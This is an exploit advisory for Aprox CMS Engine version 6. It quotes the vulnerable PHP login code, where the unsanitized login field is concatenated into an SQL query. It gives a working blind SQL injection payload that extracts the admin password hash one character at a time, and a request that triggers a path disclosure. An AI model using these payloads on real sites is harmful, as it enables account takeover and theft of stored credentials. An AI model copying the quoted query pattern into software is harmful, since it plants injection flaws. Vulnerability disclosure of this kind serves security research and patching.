Aprox CMS Engine 6.0 - Multiple Vulnerabilities

# Exploit Title: Aprox CMS Engine V6 Multiple Vulnerabilities
# Date: 03.10.2010
# Author: Stephan Sattler // http://www.solidmedia.de
# Software Website: http://www.aprox.de/
# Software Link: http://www.aprox.de/index.php?page=d&application=zip&dateiname=AproxEngine_v6
# Version: 6
 
 
[ Vulnerability 1]

# Vulnerable Code:

sql_login.inc line 63-91

	if (isset($_GET["action"]) && ($_GET["action"] != "")){$action = $_GET["action"];}
        unset($password);
	if (isset($_POST["password"]) && ($_POST["password"] != "")){$password = md5($_POST["password"]);}
        unset($login);
	if (isset($_POST["login"]) && ($_POST["login"] != "")){$login = $_POST["login"];}

if (($login=="") or ($password=="")) {echo "Angegeben nicht vollständig!";die;}

$db = mysql_connect(serverhost, user, pass, database);
$abfrage = "select * from ". suffix ."users where login = '$login'";
$res = mysql_db_query(database,  "$abfrage");

$num = mysql_num_rows($res);
#echo $num;
if ($num >0)
{
#echo "user gefunden,<br>";
$pass = mysql_result($res, 0, 'password');
if ($password == $pass) 
{
echo "Alles OK!!!";
$name = mysql_result($res, 0, 'real_name');

$_SESSION["name"] = $name;
$_SESSION["login"] = $login;
$_SESSION["pass"] = $pass;

$login_gepruefter_user = mysql_result($res, 0, 'gepr_mitglied');
$_SESSION["gepruefter_user"] = $login_gepruefter_user;


 

# Explanation:

$_POST["login"] isn't sanitized before executing the database query.
An attacker can use this for a blind SQL injection attack.


# Exploiting the Vulnerability // PoC:

URL: http://[site]/[path]/index.php?page=sql_login

Postdata(Example for the admin user which is created after install):

login=admin' and ascii(substring((SELECT concat(password) from aprox_users limit 0,1),1,1))>'100&password=passwort&Submit=Login

->if login succeeds, the first character of the hash is greater than d(ascii 100).

An attacker can insert his/her own login credentials and test it with them or do it with benchmark() without a user-account.
Aprox stores failed logins in a Session so this won't prevent an attack.


[Vulnerability 2]

# Path Disclosure


For Example: http://[site]/[path]/index.php?id=1 AnD 1=1 
will provoke an error so the full path will be presented to you.